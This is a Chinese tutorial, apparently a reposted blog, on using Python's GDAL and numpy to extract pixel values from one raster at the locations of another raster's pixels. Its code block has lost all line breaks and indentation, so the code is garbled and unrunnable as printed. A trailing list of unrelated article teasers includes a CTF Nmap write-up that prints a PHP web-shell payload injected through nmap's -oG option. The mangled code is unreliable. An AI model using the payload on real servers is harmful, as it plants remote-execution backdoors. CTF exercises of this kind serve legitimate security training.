Python多值提取至点:基于一景栅格的像元提取另一栅格中空间位置匹配的像元

  本文介绍基于Python语言中的gdal模块,对2景不同的遥感影像加以对应位置像素值匹配的方法——即基于一景遥感影像每一个像元,提取另一景遥感影像中,与之空间位置相同的像元的像素值的方法。

  首先,明确一下本文的需求。现在有2成像范围不完全一致、但是具有重叠部分的遥感影像,如下图所示;我们就将其称作大遥感影像(成像范围更大的、灰色系的那一景遥感影像)和小遥感影像(成像范围更小的、蓝色系的那一景遥感影像)。这2景遥感影像的成像范围、空间分辨率、空间坐标系等都不一致(当然,也可以一致;而且如果一致的话,后续处理起来也会更方便理解一些)。

  其中,可以很明显地看到,小遥感影像的空间分辨率高于大遥感影像,但其成像范围是小于大遥感影像的;如下图所示。

  我们现在希望,对于小遥感影像中的每一个像元(除了NoData值的像元),找到其在大遥感影像中对应位置处的像元,并将这个大遥感影像对应像元的像素提取出来。可以认为,我们希望得到2个相同大小的二维数组——这2个二维数组的行数、列数就是小遥感影像的行数与列数,而这2个二维数组的值,分别为小遥感影像的像素值,以及大遥感影像同一空间位置上的像元的像素值。换句话说,这个需求有点类似于ArcGIS的“多值提取到点”这一工具的作用——只不过相当于我们需要对小遥感影像每一个像元都执行一次“多值提取到点”操作。

  这里需要注意,如果待处理的2景遥感影像一个为地理坐标系,一个为投影坐标系,那么首先需要将2景遥感影像都处理为同一种类型的坐标系(建议都处理为投影坐标系);具体处理方法,大家可以参考GDAL一行代码实现投影:将栅格的地理坐标系转为投影坐标系(https://blog.csdn.net/zhebushibiaoshifu/article/details/136200172)这篇文章。

  明确了需求,我们即可开始代码的撰写。本文所用代码如下。

# -*- coding: utf-8 -*-
"""
Created on Sun Feb 18 21:15:08 2024@author: fkxxgis
"""import numpy as np
from osgeo import gdaldef raster2array(file_path):dataset = gdal.Open(file_path)band = dataset.GetRasterBand(1)array = band.ReadAsArray()dataset = Nonereturn arraydef get_geotransform(file_path):dataset = gdal.Open(file_path)geotransform = dataset.GetGeoTransform()dataset = Nonereturn geotransformdef get_pixel_size(geotransform):pixel_size_x = geotransform[1]pixel_size_y = geotransform[5]return pixel_size_x, pixel_size_ydef pixel2coordinate(geotransform, pixel_x, pixel_y):coordinate_x = geotransform[0] + pixel_x * geotransform[1] + pixel_y * geotransform[2]coordinate_y = geotransform[3] + pixel_x * geotransform[4] + pixel_y * geotransform[5]return coordinate_x, coordinate_ygf_file_path = r"F:\Data_Reflectance_Rec\GF1WFV1.16m.2021001035028.48STA.000000_SR.tiff"
gf_array = raster2array(gf_file_path)
gf_geotransform = get_geotransform(gf_file_path)
gf_pixel_size_x, gf_pixel_size_y = get_pixel_size(gf_geotransform)type_file_path = r"F:\Data_Reflectance_Rec\Type\result.tif"
type_array = raster2array(type_file_path)
type_geotransform = get_geotransform(type_file_path)
type_pixel_size_x, type_pixel_size_y = get_pixel_size(type_geotransform)type_new_array = np.empty_like(gf_array)for row in range(gf_array.shape[0]):for col in range(gf_array.shape[1]):if not gf_array[row, col]:type_new_array[row, col] = 0continue;gf_coordinate_x, gf_coordinate_y = pixel2coordinate(gf_geotransform, col, row)type_col = int((gf_coordinate_x - type_geotransform[0]) / type_pixel_size_x)type_row = int((gf_coordinate_y - type_geotransform[3]) / type_pixel_size_y)type_new_array[row, col] = type_array[type_row, type_col]

  其中,我们首先需要引入必要的库。在本文中,numpy用于处理数组数据,gdal则用于读取栅格数据文件和获取地理转换参数。

  随后,我们定义了几个关键的函数。其中,raster2array()用于将栅格数据文件读取为numpy库的数组,get_geotransform()用于获取栅格数据文件的地理转换参数,get_pixel_size()用于从地理转换参数中提取像素大小,pixel2coordinate()用于将像素坐标转换为地理坐标。

  接下来,我们即可开始读取待处理的数据。在上述代码中,gf_开头的数据就是前文中提到的小遥感影像对应的相关数据,而type_开头的数据就是前文中提到的大遥感影像对应的相关数据。

  首先,我们使用raster2array()函数将小遥感影像读取为数组,并存储在gf_array变量中;随后,使用get_geotransform()函数获取小遥感影像的地理转换参数,并存储在gf_geotransform变量中;接下来,使用get_pixel_size()函数从小遥感影像的地理转换参数中提取像素大小,并分别存储在gf_pixel_size_xgf_pixel_size_y变量中。

  类似地,对大遥感影像文件同样执行上一段中描述的操作。

  接下来,创建一个与小遥感影像的数组具有相同形状和数据类型的空数组。在这里,我们直接使用np.empty_like()函数创建名为type_new_array的空数组,其形状与gf_array相同。

  随后,遍历小遥感影像的数组(相当于就是按行、按列遍历小遥感影像的全部像元),根据条件进行处理。其中,如果gf_array中的元素为0(也就是我这里小遥感影像NoData值),则不用再进行后续处理了,直接将type_new_array相应位置的元素也设置为0并继续下一个循环。而如果gf_array中的元素不为0,根据像素坐标和地理转换参数进行计算,从类型数据数组type_array中获取相应位置的值,并将其赋值给type_new_array相应位置的元素。

  执行上述代码后,我们来检查一下代码的运行是否符合预期。因为大遥感影像的空间分辨率低一些,所以我们就用它来验证我们的结果(空间分辨率低一些的话,验证起来反而更方便)。首先,如下图所示,可以看到,我们的代码结果(也就是type_new_array这个数组)显示,当行号为1920时,其像素值发生了变化。

  我们到ArcGIS中验证一下,将小遥感影像从左上角开始,向下数20行,可以看到对应的像元(如下图中左下角的紫色框内所示)确实位于大遥感影像像元的分界处,且二者的像素值也都和上图中2个二维数组所示的一致。

  至此,大功告成。

欢迎关注:疯狂学习GIS

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2803981.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

命令执行 [网鼎杯 2020 朱雀组]Nmap1

打开题目 输入127.0.0.1 可以得到回显结果&#xff0c;猜测是命令执行&#xff0c;尝试使用|分隔地址与命令 127.0.0.1 | ls 可以看到|被\转义&#xff0c;尝试使用;&#xff1a; 直接放入Payload: <?php eval($_POST["hack"]);?> -oG hack.php 尝试修改文…

2.deeplabv3+的主干网络(mobilenet网络)

deeplabv3的论文中用了resnet网络&#xff0c;在这里用轻量级网络mobilenet替换resnet&#xff0c;下面分别是两个网络的代码。 1.mobilenet网络 代码如下&#xff1a; import math import os import cv2 import numpy as np import torch import torch.nn as nn import tor…

多租户权限过滤查询-基于mybatisplus权限插件DataPermissionInterceptor实现

前言 因为业务需要对系统中的相关模块的权限通过不同的部门这种属性进行过滤&#xff0c;这边参考了开源项目ruoyi里面的权限过滤设计&#xff0c;然后结合自身的业务进行实现 优秀的开源项目地址:ruoyi-vue-pro 梳理了解了逻辑之后总结了一下实现原理&#xff0c;在需要进行…

Android 仿信号格子强度动画效果实现

效果图 在 Android 中&#xff0c;如果你想要绘制一个圆角矩形并使其居中显示&#xff0c;你可以使用 Canvas 类 drawRoundRect 方法。要使圆角矩形居中&#xff0c;你需要计算矩形的位置&#xff0c;这通常涉及到确定矩形左上角的位置&#xff08;x, y&#xff09;&#xff0…

Sora没用上!国产AI创作恐怖电影:《生化危机:重生》下

Sora没用上&#xff01;国产AI创作恐怖电影&#xff1a;《生化危机&#xff1a;重生》下 丧尸围城&#xff0c;世界沦陷&#xff0c;爱丽丝是拯救这个世界的最后一剂解药&#xff0c;然而。。。 《生化危机&#xff1a;重生》&#xff08;下&#xff09;&#xff1a;在战斗的最…

QT day2 组件

mywidget.cpp #include "mywidget.h"Mywidget::Mywidget(QWidget *parent): QMainWindow(parent) {this->setWindowTitle("qq");this->setWindowIcon(QIcon("C:\\Users\\41220\\Desktop\\华清\\pictrue\\qq.png"));this->setWindowFla…

微服务远程调用Feign

目录 RPC概述 什么是Feign&#xff1f; Ribbon&Feign对比 Feign的设计架构 Spring Cloud Alibaba快速整合Feign Spring Cloud Feign扩展 日志配置 契约配置 通过拦截器实现参数传递 自定义拦截器实现认证逻辑 超时时间配置 RPC概述 微服务之间如何方便优雅的实…

计算机设计大赛 深度学习卷积神经网络垃圾分类系统 - 深度学习 神经网络 图像识别 垃圾分类 算法 小程序

文章目录 0 简介1 背景意义2 数据集3 数据探索4 数据增广(数据集补充)5 垃圾图像分类5.1 迁移学习5.1.1 什么是迁移学习&#xff1f;5.1.2 为什么要迁移学习&#xff1f; 5.2 模型选择5.3 训练环境5.3.1 硬件配置5.3.2 软件配置 5.4 训练过程5.5 模型分类效果(PC端) 6 构建垃圾…

数字电路 第一章—第二节(逻辑代数的基本概念、公式和定理)

一、基本逻辑关系举例 1、电路图 &#xff08;1&#xff09;与逻辑关系&#xff1a; &#xff08;2&#xff09;或逻辑关系&#xff1a; &#xff08;3&#xff09;非逻辑关系&#xff1a; 2、真值表 &#xff08;1&#xff09;在上述三种电路中&#xff0c;经过设定变量和状…

Nginx知识笔记

一、前言 首先&#xff0c;我们来看一张关于正向代理和反向代理的图片 简单理解正向代理和反向代理的概念&#xff1a; 正向代理&#xff1a;在客户端配置代理服务器(和跳板机功能类似&#xff0c;比如公司很多机器需要通过跳板机才允许登录&#xff0c;正向代理的典型用途是…

开源模型应用落地-工具使用篇-向量数据库进阶(四)

一、前言 通过学习"开源模型应用落地"系列文章&#xff0c;我们成功地建立了一个完整可实施的AI交付流程。现在&#xff0c;我们要引入向量数据库&#xff0c;作为我们AI服务的二级缓存。本文将继续基于上一篇“开源模型应用落地-工具使用篇-向量数据库&#xff08;三…

游泳耳机品牌排行榜前十名:十大爆款火热机型超高性价比

在当今这个科技日新月异的时代&#xff0c;游泳已经不再仅仅是一项简单的运动&#xff0c;而是一种生活方式的体现。随着人们对于健康生活的追求日益增强&#xff0c;游泳耳机也成为了许多游泳爱好者的必备装备之一。然而&#xff0c;市场上琳琅满目的游泳耳机品牌和型号让人眼…

网络安全8-11天笔记

内容安全&#xff1a; 攻击可能只是一个点&#xff0c;防御需要全方面进行。 IAE引擎&#xff1a; DFI和DPI技术&#xff1a;深度检测技术 DPI——深度包检测技术&#xff1a;主要针对完整的数据包&#xff08;数据包分片&#xff0c;分段需要重组&#xff09;&#xff0c;之…

2024年阿里云服务器优惠价格表和活动整理

2024阿里云服务器优惠活动政策整理&#xff0c;轻量2核2G3M服务器61元一年、2核4G4M带宽165元1年&#xff0c;云服务器4核16G10M带宽26元1个月、149元半年&#xff0c;阿里云ECS云服务器2核2G3M新老用户均可99元一年续费不涨价&#xff0c;企业用户2核4G5M带宽199元一年&#x…

Excel之index、MATCH面试题、VLOOKUP函数,

VLOOKUP() 在表格的首列查找指定的数值&#xff0c;并返回表格当前行中指定列处的数值。 结构&#xff1a;VLOOKUP(查找值,查找区域,列序数,匹配条件) 解释&#xff1a;VLOOKUP(找谁,在哪里找,第几列,0或1) 1.目的&#xff1a;根据【产品】查找【销量】 公式&#xff1a;V…

C++从入门到精通 第十二章(C++流)

写在前面&#xff1a; 本系列专栏主要介绍C的相关知识&#xff0c;思路以下面的参考链接教程为主&#xff0c;大部分笔记也出自该教程&#xff0c;笔者的原创部分主要在示例代码的注释部分。除了参考下面的链接教程以外&#xff0c;笔者还参考了其它的一些C教材&#xff08;比…

Vue 图片轮播第三方库 介绍

Vue图片轮播是一种在网页上以自动或手动方式展示图片的组件&#xff0c;常用于产品展示、网站banner等场景。有许多第三方库可以帮助Vue开发者轻松实现图片轮播功能。以下是一些流行的Vue图片轮播第三方库的介绍&#xff1a; 1. Vue-awesome-swiper - **简介**&#xff1a;V…

滚雪球学Java(70):深入理解Java中的PriorityQueue底层实现与源码分析

咦咦咦&#xff0c;各位小可爱&#xff0c;我是你们的好伙伴——bug菌&#xff0c;今天又来给大家普及Java SE相关知识点了&#xff0c;别躲起来啊&#xff0c;听我讲干货还不快点赞&#xff0c;赞多了我就有动力讲得更嗨啦&#xff01;所以呀&#xff0c;养成先点赞后阅读的好…

Linux之ACL权限管理

文章目录 1.ACL权限介绍二、操作步骤1. 添加测试目录、用户、组&#xff0c;并将用户添加到组2. 修改目录的所有者和所属组3. 设定权限4. 为临时用户分配权限5. 验证acl权限6. 控制组的acl权限 1.ACL权限介绍 每个项目成员有一个自己的项目目录&#xff0c;对自己的目录有完全…

【Django】Django自定义后台表单——对一个关联外键对象同时添加多个内容

以官方文档为例&#xff1a; 一个投票问题包含多个选项&#xff0c;基本的表单设计只能一个选项一个选项添加&#xff0c;效率较低&#xff0c;如何在表单设计中一次性添加多个关联选项&#xff1f; 示例代码&#xff1a; from django.contrib import adminfrom .models impo…